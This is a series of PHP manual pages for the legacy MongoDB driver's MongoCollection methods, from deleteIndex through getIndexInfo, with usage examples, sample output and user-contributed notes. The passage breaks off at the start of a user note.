public array MongoCollection::deleteIndex ( string|array $keys )

This method is identical to:

<?php

public function deleteIndexes($keys) {
  $indexName = $this->toIndexString($keys);

  return $this->db->command(array(
    "deleteIndexes" => $this->getName(),
    "index" => $indexName,
  ));
}

?>

Each index is given a unique name when it is created. This is often generated by the driver based on the index key(s) and order/type, but custom names may also be specified with MongoCollection::createIndex()'s "name" option).

Unfortunately, MongoCollection::deleteIndex() cannot delete custom-named indexes due to a backwards compatibility issue. When a string argument is provided, it is assumed to be the single field name in an ascending index (e.g. the name "x_1" would be used for the argument "x"). If an array or object is provided, an index name is generated just as if that argument was passed to MongoCollection::createIndex().

In order to delete a custom-named index with the PHP driver, the deleteIndexes database command must be used. For instance, an index named "myIndex" could be deleted with the PHP driver by running:

<?php

$db->command(array(
  "deleteIndexes" => $collection->getName(),
  "index" => "myIndex",
));

?>

To determine the name of an index with the PHP driver, you can query the system.indexes collection of a database and look for the "name" field of each result. The "ns" field will indicate the collection to which each index belongs.

Parameters

keys

An array specifying the index's fields as its keys. For each field, the value is either the index direction or » index type. If specifying direction, specify 1 for ascending or -1 for descending.

If a string is provided, it is assumed to be the single field name in an ascending index.

Return Values

Returns the database response.

Examples

Example #1 MongoCollection::deleteIndex() example

This example passes the function string and array parameters.

<?php

$m = new MongoClient();
$c = $m->example->indices;

// create and remove a simple index
$c->createIndex(array("i"=>1));
$c->deleteIndex("i");

// create and remove a multi-key index
$c->ensureIndex(array("j" => 1, "k" => 1));
$c->deleteIndex(array("j" => 1, "k" => 1));

?>

See Also

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist.
  • MongoCollection::deleteIndexes() - Delete all indices for this collection
  • MongoCollection::toIndexString() - Converts keys specifying an index to its identifying string
  • The MongoDB » index and » index type documentation.

User Contributed Notes

nanhe dot kumar at gmail dot com 06-Oct-2013 10:23
<?php
/*
How can delete Index through Index name.
*/
function deleteIndex($db, $collection, $indexName) {
    if (class_exists("MongoClient")) {
        $m = new MongoClient();
    } else {
        $m = new Mongo();
    }
    $indexes = $m->{$db}->{$collection}->getIndexInfo();
    foreach ($indexes as $index) {
        if ($index['name'] === $indexName) {
            return $m->{$db}->command(array("deleteIndexes" => $this->m->{$db}->{$collection}->getName(), "index" =>$index['key']));
            break;
        }
    }
    return false;
}
    $response=deleteIndex('student','class','roll');
    echo "<pre>;
    print_r($response);
    echo "</pre>";

?>

Array
(
    [nIndexesWas] => 2
    [ok] => 1
)


Delete all indices for this collection

  • « MongoCollection::deleteIndex
  • MongoCollection::distinct »
  • PHP Manual
  • MongoCollection
  • Delete all indices for this collection

MongoCollection::deleteIndexes

(PECL mongo >=0.9.0)

MongoCollection::deleteIndexes — Delete all indices for this collection

Description

public array MongoCollection::deleteIndexes ( void )

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoCollection::deleteIndexes() example

This example demonstrates how to delete all indexes from a collection and the response to expect.

<?php

$collection = $mongo->my_db->articles;
$response = $collection->deleteIndexes();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ok] => 1
)

See Also

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist.
  • MongoCollection::deleteIndex() - Deletes an index from this collection

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a list of distinct values for the given key across a collection.

  • « MongoCollection::deleteIndexes
  • MongoCollection::drop »
  • PHP Manual
  • MongoCollection
  • Retrieve a list of distinct values for the given key across a collection.

MongoCollection::distinct

(PECL mongo >=1.2.11)

MongoCollection::distinct — Retrieve a list of distinct values for the given key across a collection.

Description

public array MongoCollection::distinct ( string $key [, array $query ] )

The distinct command returns a list of distinct values for the given key across a collection.

Parameters

key

The key to use.

query

An optional query parameters

Return Values

Returns an array of distinct values, or FALSE on failure

Examples

Example #1 MongoCollection::distinct() example

<?php
$m = new Mongo;
$db = $m->selectDB("test");
$db->dropCollection("distinct");
$c = $db->distinct;

$c->insert(array("stuff" => "bar", "zip-code" => 10010));
$c->insert(array("stuff" => "foo", "zip-code" => 10010));
$c->insert(array("stuff" => "bar", "zip-code" => 99701), array("w" => 1));

$retval = $c->distinct("zip-code");
var_dump($retval);

$retval = $c->distinct("zip-code", array("stuff" => "foo"));
var_dump($retval);

$retval = $c->distinct("zip-code", array("stuff" => "bar"));
var_dump($retval);

?>

The above example will output:

array(2) {
  [0]=>
  int(10010)
  [1]=>
  int(99701)
}
array(1) {
  [0]=>
  int(10010)
}
array(2) {
  [0]=>
  int(10010)
  [1]=>
  int(99701)
}

Example #2 MongoCollection::distinct() example on a embedded document

<?php
$c->insert(array("user" => array("points" => 25)));
$c->insert(array("user" => array("points" => 31)));
$c->insert(array("user" => array("points" => 25)));

$retval = $c->distinct("user.points");
var_dump($retval);

$retval = $c->distinct("user.nonexisting");
var_dump($retval);
?>

The above example will output:

array(2) {
  [0]=>
  int(25)
  [1]=>
  int(31)
}
array(0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Drops this collection

  • « MongoCollection::distinct
  • MongoCollection::ensureIndex »
  • PHP Manual
  • MongoCollection
  • Drops this collection

MongoCollection::drop

(PECL mongo >=0.9.0)

MongoCollection::drop — Drops this collection

Description

public array MongoCollection::drop ( void )

Drops this collection and deletes its indices.

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoCollection::drop() example

This example demonstrates how to drop a collection and the response to expect.

<?php

$collection = $mongo->my_db->articles;
$response = $collection->drop();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ns] => my_db.articles
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Creates an index on the specified field(s) if it does not already exist.

  • « MongoCollection::drop
  • MongoCollection::find »
  • PHP Manual
  • MongoCollection
  • Creates an index on the specified field(s) if it does not already exist.

MongoCollection::ensureIndex

(PECL mongo >=0.9.0)

MongoCollection::ensureIndex — Creates an index on the specified field(s) if it does not already exist.

Description

public bool MongoCollection::ensureIndex ( string|array $key|keys [, array $options = array() ] )
Warning

This method is deprecated since version 1.5.0. Please use MongoCollection::createIndex() instead.

Creates an index on the specified field(s) if it does not already exist. Fields may be indexed with a direction (e.g. ascending or descending) or a special type (e.g. text, geospatial, hashed).

Note:

This method will use the » createIndexes database command when communicating with MongoDB 2.6+. For previous database versions, the method will perform an insert operation on the special system.indexes collection.

Parameters

keys

An array specifying the index's fields as its keys. For each field, the value is either the index direction or » index type. If specifying direction, specify 1 for ascending or -1 for descending.

options

An array of options for the index creation. Currently available options include:

  • "unique"

    Specify TRUE to create a unique index. The default value is FALSE. This option applies only to ascending/descending indexes.

    Note:

    When MongoDB indexes a field, if a document does not have a value for the field, a NULL value is indexed. If multiple documents do not contain a field, a unique index will reject all but the first of those documents. The "sparse" option may be used to overcome this, since it will prevent documents without the field from being indexed.

  • "sparse"

    Specify TRUE to create a sparse index, which only indexes documents containing a specified field. The default value is FALSE.

  • "expireAfterSeconds"

    The value of this option should specify the number of seconds after which a document should be considered expired and automatically removed from the collection. This option is only compatible with single-field indexes where the field will contain MongoDate values.

    Note:

    This feature is available in MongoDB 2.2+. See » Expire Data from Collections by Setting TTL for more information.

  • "name"

    A optional name that uniquely identifies the index.

    Note:

    By default, the driver will generate an index name based on the index's field(s) and ordering or type. For example, a compound index array("x" => 1, "y" => -1) would be named "x_1_y_-1" and a geospatial index array("loc" => "2dsphere") would be named "loc_2dsphere". For indexes with many fields, it is possible that the generated name might exceed MongoDB's » limit for index names. The "name" option may be used in that case to supply a shorter name.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

The following option may be used with MongoDB 2.6+:

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

The following options may be used with MongoDB versions before 2.8:

  • "dropDups"

    Specify TRUE to force creation of a unique index where the collection may contain duplicate values for a key. MongoDB will index the first occurrence of a key and delete all subsequent documents from the collection that contain a duplicate value for that key. The default value is FALSE.

    Warning

    "dropDups" may delete data from your database. Use with extreme caution.

    Note:

    This option is not supported on MongoDB 2.8+. Index creation will fail if the collection contains duplicate values.

The following options may be used with MongoDB versions before 2.6:

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

Returns an array containing the status of the index creation. The array contains whether the operation succeeded ("ok"), the number of indexes before and after the operation ("numIndexesBefore" and "numIndexesAfter"), and whether the collection that the index belongs to has been created ("createdCollectionAutomatically"). If the index already existed and did not need to be created, a "note" field may be present in lieu of "numIndexesAfter".

With MongoDB 2.4 and earlier, a status document is only returned if the write concern is at least 1. Otherwise, TRUE is returned. The fields in the status document are different, except for the "ok" field, which signals whether the index creation was successful. Additional fields are described in the documentation for MongoCollection::insert().

Changelog

Version | Description
1.5.0 | Renamed the "wtimeout" option to "wTimeoutMS". Emits E_DEPRECATED when "wtimeout" is used. Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.3.4 | Added "wtimeout" option.
1.3.0 | Added "w" option. The options parameter no longer accepts a boolean to signify a unique index. Instead, this now has to be done with array('unique' => true).
1.2.11 | Emits E_DEPRECATED when options is scalar.
1.2.0 | Added "timeout" option.
1.0.11 | The "safe" option will trigger a primary failover, if necessary. MongoException will be thrown if the index name (either generated or set) is longer than 128 bytes.
1.0.5 | Added the "name" option to override index name creation.
1.0.2 | Changed options parameter from boolean to array. Pre-1.0.2, the second parameter was an optional boolean value specifying a unique index.

Errors/Exceptions

Throws MongoException if the index name is longer than 128 bytes, or if the index specification is not an array.

Throws MongoDuplicateKeyException if the server could not create the unique index due to conflicting documents.

Throws MongoResultException if the server could not create the index due to an error.

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Examples

Example #1 MongoCollection::ensureIndex() example

<?php

$c = new MongoCollection($db, 'foo');

// create an index on 'x' ascending
$c->ensureIndex(array('x' => 1));

// create a unique index on 'y'
$c->ensureIndex(array('y' => 1), array('unique' => true));

// create a compound index on 'za' ascending and 'zb' descending
$c->ensureIndex(array('za' => 1, 'zb' => -1));

?>

Example #2 Geospatial Indexing

Mongo supports geospatial indexes, which allow you to search for documents near a given location or within a shape. The following example creates a geospatial index on the "loc" field:

<?php

$collection->ensureIndex(array('loc' => '2dsphere'));

?>

Example #3 Drop duplicates example

<?php

$collection->insert(array('username' => 'joeschmoe'));
$collection->insert(array('username' => 'joeschmoe'));

/* Index creation fails, since you cannot create a unique index on a field when
 * duplicates exist.
 */
$collection->ensureIndex(array('username' => 1), array('unique' => 1));

/* MongoDB will one of the conflicting documents and allow the unique index to
 * be created.
 */
$collection->ensureIndex(array('username' => 1), array('unique' => 1, 'dropDups' => 1));

/* We now have a unique index and subsequent inserts with the same username will
 * fail.
 */
$collection->insert(array('username' => 'joeschmoe'));

?>

See Also

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist.
  • MongoCollection::deleteIndex() - Deletes an index from this collection
  • MongoCollection::deleteIndexes() - Delete all indices for this collection
  • The MongoDB » index and » index type documentation.

User Contributed Notes

mcuadros at gmail dot com 09-Apr-2013 07:39
Ensuring a text index, needed by text search command.

<?php
$collection->ensureIndex(
    array(
        'title' => 'text',
        'desc' => 'text',
    ),
    array(
        'name' => 'ExampleTextIndex',
        'weights' => array(
            'title' => 100,
            'desc' => 30,
        )
    )
);
alan dot lake at lakeinfoworks dot com 26-Aug-2010 05:45
The statement
<?php
$c->ensureIndex(array('x' => 1), array("unique" => true));
?>
will prevent a document with a duplicate key ('x') from being added to the connection, but will not throw an exception.  To cause an exception to be thrown, use the "safe"=>true option in the insert statement.


Queries this collection, returning a MongoCursor for the result set

  • « MongoCollection::ensureIndex
  • MongoCollection::findAndModify »
  • PHP Manual
  • MongoCollection
  • Queries this collection, returning a MongoCursor for the result set

MongoCollection::find

(PECL mongo >=0.9.0)

MongoCollection::find — Queries this collection, returning a MongoCursor for the result set

Description

 public MongoCursor MongoCollection::find
  ([ array $query = array()
 [, array $fields = array()
]] )

Parameters

query

The fields for which to search. MongoDB's query language is quite extensive. The PHP driver will in almost all cases pass the query straight through to the server, so reading the MongoDB core docs on » find is a good idea.

Warning

Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

fields

Fields of the results to return. The array is in the format array('fieldname' => true, 'fieldname2' => true). The _id field is always returned.

Return Values

Returns a cursor for the search results.

Examples

Example #1 MongoCollection::find() example

This example demonstrates basic search options.

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'produce');

// search for fruits
$fruitQuery = array('Type' => 'Fruit');

$cursor = $collection->find($fruitQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

// search for produce that is sweet. Taste is a child of Details.
$sweetQuery = array('Details.Taste' => 'Sweet');
echo "Sweet\n";
$cursor = $collection->find($sweetQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

The above example will output:

array(4) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "50a87dd084f045a19b220dd6"
  }
  ["Name"]=>
  string(5) "Apple"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(5) "Sweet"
    ["Colour"]=>
    string(3) "Red"
  }
}
array(4) {
  ["_id"]=>
  object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "50a87de084f045a19b220dd7"
  }
  ["Name"]=>
  string(5) "Lemon"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(4) "Sour"
    ["Colour"]=>
    string(5) "Green"
  }
}

Sweet:
array(4) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "50a87dd084f045a19b220dd6"
  }
  ["Name"]=>
  string(5) "Apple"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(5) "Sweet"
    ["Colour"]=>
    string(3) "Red"
  }
}

See MongoCursor for more information how to work with cursors.

Example #2 MongoCollection::find() example

This example demonstrates how to search for a range.

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

// search for documents where 5 < x < 20
$rangeQuery = array('x' => array( '$gt' => 5, '$lt' => 20 ));

$cursor = $collection->find($rangeQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

The above example will output:

array(2) {
  ["_id"]=>
  object(MongoId)#10 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000000"
  }
  ["x"]=>
  int(12)
}
array(2) {
  ["_id"]=>
  object(MongoId)#11 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000001"
  }
  ["x"]=>
  int(12)
}

See MongoCursor for more information how to work with cursors.

Example #3 MongoCollection::find() example using $where

This example demonstrates how to search a collection using javascript code to reduce the resultset.

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$js = "function() {
    return this.name == 'Joe' || this.age == 50;
}";
$cursor = $collection->find(array('$where' => $js));
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

The above example will output:

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

Example #4 MongoCollection::find() example using $in

This example demonstrates how to search a collection using the $in operator.

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find(array(
    'name' => array('$in' => array('Joe', 'Wendy'))
));

?>

The above example will output:

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

Example #5 Getting results as an array

This returns a MongoCursor. Often, when people are starting out, they are more comfortable using an array. To turn a cursor into an array, use the iterator_to_array() function.

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find();
$array = iterator_to_array($cursor);

?>

The above example will output:

array(3) {
  ["4ebc40af10b89f5149000000"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#6 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000000"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000001"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#11 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000001"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000002"]=>
  array(3) {
    ["_id"]=>
    object(MongoId)#12 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000002"
    }
    ["name"]=>
    string(3) "Joe"
    ["age"]=>
    int(20)
  }
}

Using iterator_to_array() forces the driver to load all of the results into memory, so do not do this for result sets that are larger than memory!

Also, certain system collections do not have an _id field. If you are dealing with a collection that might have documents without _ids, pass FALSE as the second argument to iterator_to_array() (so that it will not try to use the non-existent _id values as keys).

See Also

  • MongoCollection::findOne() - Queries this collection, returning a single element
  • MongoCollection::insert() - Inserts a document into the collection
  • MongoDB core docs on » find.

User Contributed Notes

Nanhe Kumar 08-Nov-2013 06:13
<?php
$m = new MongoClient();
$db = $m->selectDB('school');
$collection = new MongoCollection($db, 'student');
//Find where class=5
$where=array('class'=>5);
$cursor = $collection->find($where);

//Find where class !=5
$where=array('class' => array('$ne'=>5));
$cursor = $collection->find($where);

//Find where age >20
$where=array('age' => array('$gt'=>20));
$cursor = $collection->find($where);

//Find where age >=20
$where=array('age' => array('$gte'=>20));
$cursor = $collection->find($where);

//Find where age <20
$where=array('age' => array('$le'=>20));
$cursor = $collection->find($where);

//Find where age <=20
$where=array('age' => array('$lte'=>20));
$cursor = $collection->find($where);

//Finc where class=10 or marks=80
$where=array( '$or' => array( array(' class' =>10), array('marks'=>80) ) );
$cursor = $collection->find($where);
//Finc where class=12 AND marks=70
$where=array( '$and' => array( array(' class' =>12), array('marks'=>70) ) );
$cursor = $collection->find($where);

?>
artusdebenque at yahoo dot fr 28-Oct-2013 10:17
For the fields parameter, the documentaion says: "The _id field is always returned".
Knowing that mongodb allows you to uncheck the _id field ("the _id field is the only field that you can explicitly exclude"; source: http://docs.mongodb.org/manual/reference/method/db.collection.find/#db.collection.find), I tried it with php and it works : you can exclude the _id field.

Example : the following fields parameter will exclude the field "_id"

$fields = array('timestamp' => true, 'rank' => true, '_id' => false);
nospam at alexyves dot fr 09-Dec-2010 03:28
This will work with versions >=1.5.3, please note that this is just a example of the way to use the or statement.

<?php
  $connection = new Mongo();

  $db = $connection->test;
  $collection = $db->test;
  // Clean the DB before the test.
  $collection->drop();
  $collection = $db->test;

  $apple = array(
    'fruit' => 'Apple',
    'type' => 'Juice',
  );

  $orange = array(
    'fruit' => 'Orange',
    'type' => 'Marmalade',
  );

  $collection->insert($apple);
  $collection->insert($orange);

  // Basic find
  $results = $collection->find(array('fruit' => 'Apple'));

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice

Now an advanced search with "or" statement.

<?php
  // Advanced find with "OR" note the double array.
  // if you use double quotes escape the or "\$or"
  $results = $collection->find( array( '$or' => array( array('fruit' => 'Apple'), array('fruit' => 'Orange') ) ) );

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice
Fruit: Orange, Type: Marmalade


Update a document and return it

  • « MongoCollection::find
  • MongoCollection::findOne »
  • PHP Manual
  • MongoCollection
  • Update a document and return it

MongoCollection::findAndModify

(PECL mongo >=1.3.0)

MongoCollection::findAndModify — Update a document and return it

Description

public array MongoCollection::findAndModify ( array $query [, array $update [, array $fields [, array $options ]]] )

The findAndModify command atomically modifies and returns a single document. By default, the returned document does not include the modifications made on the update. To return the document with the modifications made on the update, use the new option.

Parameters

query

The query criteria to search for.

update

The update criteria.

fields

Optionally only return these fields.

options

An array of options to apply, such as remove the match document from the DB and return it.

Option | Description
sort array | Determines which document the operation will modify if the query selects multiple documents. findAndModify will modify the first document in the sort order specified by this argument.
remove boolean | Optional if update field exists. When TRUE, removes the selected document. The default is FALSE.
update array | Optional if remove field exists. Performs an update of the selected document.
new boolean | Optional. When TRUE, returns the modified document rather than the original. The findAndModify method ignores the new option for remove operations. The default is FALSE.
upsert boolean | Optional. Used in conjunction with the update field. When TRUE, the findAndModify command creates a new document if the query returns no documents. The default is false. In MongoDB 2.2, the findAndModify command returns NULL when upsert is TRUE.

Return Values

Returns the original document, or the modified document when new is set.

Errors/Exceptions

Throws MongoResultException on failure.

Examples

Example #1 MongoCollection::findAndModify() example

<?php
$m = new Mongo;
$col = $m->selectDB("test")->jobs;

$col->insert(array(
     "name" => "Next promo",
     "inprogress" => false,
     "priority" => 0,
     "tasks" => array( "select product", "add inventory", "do placement"),
) );

$col->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 1,
     "tasks" => array( "run sales report", "email report" )
) );

$col->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 2,
     "tasks" => array( "run marketing report", "email report" )
    ),
    array("w" => 1)
);

$retval = $col->findAndModify(
     array("inprogress" => false, "name" => "Biz report"),
     array('$set' => array('inprogress' => true, "started" => new MongoDate())),
     null,
     array(
        "sort" => array("priority" => -1),
        "new" => true,
    )
);

var_dump($retval);
?>

The above example will output something similar to:

array(6) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "5091b5b244415e8cc3000002"
  }
  ["inprogress"]=>
  bool(true)
  ["name"]=>
  string(10) "Biz report"
  ["priority"]=>
  int(2)
  ["started"]=>
  object(MongoDate)#8 (2) {
    ["sec"]=>
    int(1351726514)
    ["usec"]=>
    int(925000)
  }
  ["tasks"]=>
  array(2) {
    [0]=>
    string(20) "run marketing report"
    [1]=>
    string(12) "email report"
  }
}

Example #2 MongoCollection::findAndModify() error handling

<?php
$m = new Mongo;
$col = $m->selectDB("test")->jobs;
try {
    $retval = $col->findAndModify(
         array("inprogress" => false, "name" => "Next promo"),
         array('$pop' => array("tasks" => -1)),
         array("tasks" => array('$pop' => array("stuff"))),
         array("new" => true)
    );
} catch(MongoResultException $e) {
    echo $e->getCode(), " : ", $e->getMessage(), "\n";
    var_dump($e->getDocument());
}

?>

The above example will output something similar to:

13097 : exception: Unsupported projection option: $pop
array(3) {
  ["errmsg"]=>
  string(46) "exception: Unsupported projection option: $pop"
  ["code"]=>
  int(13097)
  ["ok"]=>
  float(0)
}

See Also

  • The MongoDB » findAndModify command docs

User Contributed Notes

Barmy 08-Apr-2014 01:24
There is an easy way to find and replace by _id :

<?php
// ...

// Selecting unparsed lines
$cursor = $collection->find(array("mydata_isParsed" => array('$ne' => 1)));

// Doing our stuff
foreach($cursor as $document) {
    // should always be ok, just in case
    if (!isset($document["mydata_isParsed"])) {
        // ... do some stuff

        // flag as parsed and update line
        $document["mydata_isParsed"] = 1;
        $idField = '$id';
        $collection->findAndModify(array("_id" => new MongoId($document["_id"]->$idField)), $document);
    }
}


Queries this collection, returning a single element

  • « MongoCollection::findAndModify
  • MongoCollection::__get »
  • PHP Manual
  • MongoCollection
  • Queries this collection, returning a single element

MongoCollection::findOne

(PECL mongo >=0.9.0)

MongoCollection::findOne — Queries this collection, returning a single element

Description

 public array MongoCollection::findOne
  ([ array $query = array()
 [, array $fields = array()
 [, array $options = array()
]]] )

As opposed to MongoCollection::find(), this method will return only the first result from the result set, and not a MongoCursor that can be iterated over.

Parameters

query

The fields for which to search. MongoDB's query language is quite extensive. The PHP driver will in almost all cases pass the query straight through to the server, so reading the MongoDB core docs on » find is a good idea.

Warning

Please make sure that for all special query operaters (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

fields

Fields of the results to return. The array is in the format array('fieldname' => true, 'fieldname2' => true). The _id field is always returned.

options

This parameter is an associative array of the form array("name" => <value>, ...). Currently supported options are:

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

Return Values

Returns record matching the search or NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

Changelog

Version | Description
1.5.0 | Added optional options argument.

Examples

Example #1 MongoCollection::findOne() document by its id.

This example demonstrates how to find a single document in a collection by its id.

<?php

$articles = $mongo->my_db->articles;

$article = $articles->findOne(array('_id' => new MongoId('47cc67093475061e3d9536d2')));

?>

Example #2 MongoCollection::findOne() document by some condition.

This example demonstrates how to find a single document in a collection by some condition and limiting the returned fields.

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password'));
print_r($user);

?>

The above example will output something similar to:

Array
(
    [_id] => MongoId Object
        (
        )

    [password] => test
)

Notice how even though the document does have a username field, we limited the results to only contain the password field.

See Also

  • MongoCollection::find() - Queries this collection, returning a MongoCursor for the result set
  • MongoCollection::insert() - Inserts a document into the collection
  • MongoDB core docs on » find.

User Contributed Notes

dominik at dokdok dot com 30-Sep-2010 08:44
There is also a notation to retrieve all fields, but the specified ones

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password' => 0));
print_r($user);

?>

Will return all fields of the user, but the password field.


Gets a collection

  • « MongoCollection::findOne
  • MongoCollection::getDBRef »
  • PHP Manual
  • MongoCollection
  • Gets a collection

MongoCollection::__get

(PECL mongo >=1.0.2)

MongoCollection::__get — Gets a collection

Description

public MongoCollection MongoCollection::__get ( string $name )

A concise syntax for getting a collection with a dot-separated name. If a collection name contains strange characters, you may have to use MongoDB::selectCollection() instead.

<?php

$mongo = new MongoClient();

// the following two lines are equivalent
$collection = $mongo->selectDB("foo")->selectCollection("bar.baz");
$collection = $mongo->foo->bar->baz;

?>

Parameters

name

The next string in the collection name.

Return Values

Returns the collection.

User Contributed Notes

There are no user contributed notes for this page.


Fetches the document pointed to by a database reference

  • « MongoCollection::__get
  • MongoCollection::getIndexInfo »
  • PHP Manual
  • MongoCollection
  • Fetches the document pointed to by a database reference

MongoCollection::getDBRef

(PECL mongo >=0.9.0)

MongoCollection::getDBRef — Fetches the document pointed to by a database reference

Description

public array MongoCollection::getDBRef ( array $ref )

Parameters

ref

A database reference.

Return Values

Returns the database document pointed to by the reference.

Examples

Example #1 MongoCollection::getDBRef() example

<?php

$playlists = $db->playlists;

$myList = $playlists->findOne(array('username' => 'me'));

// fetch each song in the playlist
foreach ($myList['songlist'] as $songRef) {
    $song = $playlists->getDBRef($songRef);
    echo $song['title'] . "\n";
}

?>

The above example will output something similar to:

Dazed and Confused
Ma na ma na
Bohemian Rhapsody

In the above example each $songRef looks something like the following:
    Array
    (
        [$ref] => songs
        [$id] => 49902cde5162504500b45c2c
    )

See Also

  • MongoCollection::createDBRef() - Creates a database reference

User Contributed Notes

manuel at dziubas dot de 17-Apr-2011 07:10
The "$id" has to be a

new MongoId("...")

in PHP driver!

Ref:
array(
  "$ref" => "other_collection",
  "$id" => new MongoId("the_referenced_dataobject_id")
)


Returns information about indexes on this collection

  • « MongoCollection::getDBRef
  • MongoCollection::getName »
  • PHP Manual
  • MongoCollection
  • Returns information about indexes on this collection

MongoCollection::getIndexInfo

(PECL mongo >=0.9.0)

MongoCollection::getIndexInfo — Returns information about indexes on this collection

Description

public array MongoCollection::getIndexInfo ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array in which each element describes an index. Elements will contain the values name for the name of the index, ns for the namespace (a combination of the database and collection name), and key for a list of all fields in the index and their ordering. Additional values may be present for special indexes, such as unique or sparse.

Examples

Example #1 MongoCollection::getIndexInfo() example

<?php

$m = new MongoClient();
$c = $m->selectCollection('test', 'venues');
var_dump($c->getIndexInfo());

?>

The above example will output something similar to:

array(
  0 => array(
    "v" => 1,
    "key" => array(
      "_id" => 1,
    ),
    "ns" => "test.venues",
    "name" => "_id_",
  ),
  1 => array(
    "v" => 1,
    "key" => array(
      "name" => 1,
    ),
    "unique" : true,
    "ns" => "test.venues",
    "name" => "name_1",
  ),
  2 => array(
    "v" => 1,
    "key" => array(
      "type" => 1,
      "createdAt" => -1,
    ),
    "ns" => "test.venues",
    "name" => "type_1_createdAt_-1",
  ),
  3 => array(
    "v" => 1,
    "key" => array(
      "location" => "2d",
    ),
    "ns" => "test.venues",
    "name" => "location_2d",
  ),
)

See Also

MongoDB core docs on » vanilla indexes and » geospatial indexes.

User Contributed Notes

nanhe dot kumar at gmail dot com 06-Oct-2013 07:50
<?php
/*
